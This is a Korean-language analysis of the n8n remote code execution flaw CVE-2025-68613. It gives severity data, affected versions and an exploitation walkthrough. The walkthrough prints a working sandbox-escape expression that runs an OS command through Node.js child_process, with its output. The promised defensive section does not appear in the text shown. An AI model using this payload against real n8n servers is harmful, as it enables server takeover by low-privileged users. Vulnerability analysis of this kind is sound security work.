
CVE-2025-68613 (n8n) 심각한 RCE 분석 + 방어 권장 사항 (패치 검증, 탐지 아이디어 및 강화 팁)
매트릭스 GIF
CVE-2025-68613는 n8n 워크플로우 자동화 플랫폼의 치명적인 원격 코드 실행 취약점으로, 인증된 공격자가 표현식 삽입을 통해 임의 시스템 명령을 실행할 수 있게 합니다.
⚡ 빠른 통계
|
🎯 주요 사실
|
| 속성 | 값 |
|---|---|
| 🆔 CVE ID | CVE-2025-68613 |
| 📊 CVSS 점수 | 9.9 (치명적) 🔴 |
| 🔗 CVSS 벡터 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| 🏷️ CWE | CWE-913 (동적으로 관리되는 코드 리소스의 부적절한 제어) |
| 📦 영향받는 버전 | 0.211.0 → 1.120.3, 1.121.0 |
| ✅ 패치된 버전 | 1.120.4, 1.121.1, 1.122.0+ |
n8n은 오픈소스 워크플로우 자동화 플랫폼으로, 400개 이상의 애플리케이션에 걸쳐 노코드/로우코드 통합을 가능하게 합니다. 다양한 분야에서 널리 배포됩니다.
| 🏢 사용 사례 | 📝 설명 |
|---|---|
| 🔧 DevOps | 자동화 파이프라인, CI/CD 통합 |
| 🛡️ 보안 운영 | SOAR 워크플로우, 침해 대응 |
| 💼 비즈니스 | 프로세스 자동화, 데이터 워크플로우 |
| 📊 데이터 | ETL 프로세스, API 통합 |
🔓 취약점 체인:
┌─────────────────────────────────────────────────────────────────┐
│ 📝 n8n 표현식 언어 → 동적 데이터 처리 │
│ ↓ │
│ ⚠️ 서버측 평가에서 샌드박스 격리 불충분 │
│ ↓ │
│ 💀 악의적 표현식이 샌드박스 이스케이프 │
│ ↓ │
│ 🖥️ Node.js child_process 모듈 접근 │
│ ↓ │
│ 💥 완전한 RCE - OS 명령 실행 │
└─────────────────────────────────────────────────────────────────┘
악용을 위한 전제 조건:
| # | 📋 요구 사항 | 📝 세부 사항 |
|---|---|---|
| 1️⃣ | 인증 | 유효한 n8n 사용자 계정 (낮은 권한으로 충분) |
| 2️⃣ | 권한 | 워크플로우 생성/편집 기능 |
| 3️⃣ | 네트워크 접근 | n8n 인스턴스에 도달 가능 |
| 🏷️ 속성 | 📊 값 | 🔥 위험 |
|---|---|---|
| 복잡도 | 낮음 (AC:L) | 🔴 높음 |
| 사용자 상호작용 | 필요 없음 | 🔴 높음 |
| 범위 | 변경됨 | 🔴 치명적 |
graph TD
A[🔐 인증된 사용자] -->|생성| B[📝 새 워크플로우]
B -->|삽입| C[💀 악의적 표현식]
C -->|트리거| D[⚡ 표현식 평가]
D -->|악용| E[🔓 샌드박스 이스케이프]
E -->|접근| F[🖥️ Node.js 런타임]
F -->|실행| G[💥 OS 명령 via child_process]
G -->|달성| H[☠️ 완전한 서버 장악]
style A fill:#4CAF50,color:#fff
style C fill:#ff9800,color:#fff
style E fill:#f44336,color:#fff
style H fill:#9c27b0,color:#fff
⚠️ 면책 조항: 다음 내용은 교육 목적으로만 제공됩니다. 허가되지 않은 악용은 불법입니다.
취약한 n8n 워크플로우 자동화 플랫폼에 초기 접근.
🔓 n8n 환영 대시보드 - 진입점
악성 페이로드를 포함할 새 워크플로우를 생성합니다.
📝 "첫 단계 추가"로 새 워크플로우 생성
워크플로우 트리거 구성 - 수동 트리거는 요청 시 실행을 허용합니다.
🎯 워크플로우 활성화를 위한 수동 트리거 선택
악성 표현식을 포함할 "Edit Fields (Set)" 노드를 추가합니다.
🔧 페이로드 삽입을 위한 "Edit Fields (Set)" 노드 추가
중요 단계 - RCE를 달성하기 위해 샌드박스 이스케이프 표현식을 삽입합니다.
💀 악성 표현식이 'id' 명령을 성공적으로 실행!
// 🔴 악성 페이로드 (불법적으로 사용하지 마세요)
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString(); })() }}
출력 결과: uid=1000(node) gid=1000(node) groups=1000(node) ✅ RCE 확인!
코드 인젝션 GIF
⚠️ 경고: 이 페이로드는 공인된 보안 테스트 용도로만 사용하세요. 허가되지 않은 사용은 불법입니다!
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString(); })() }}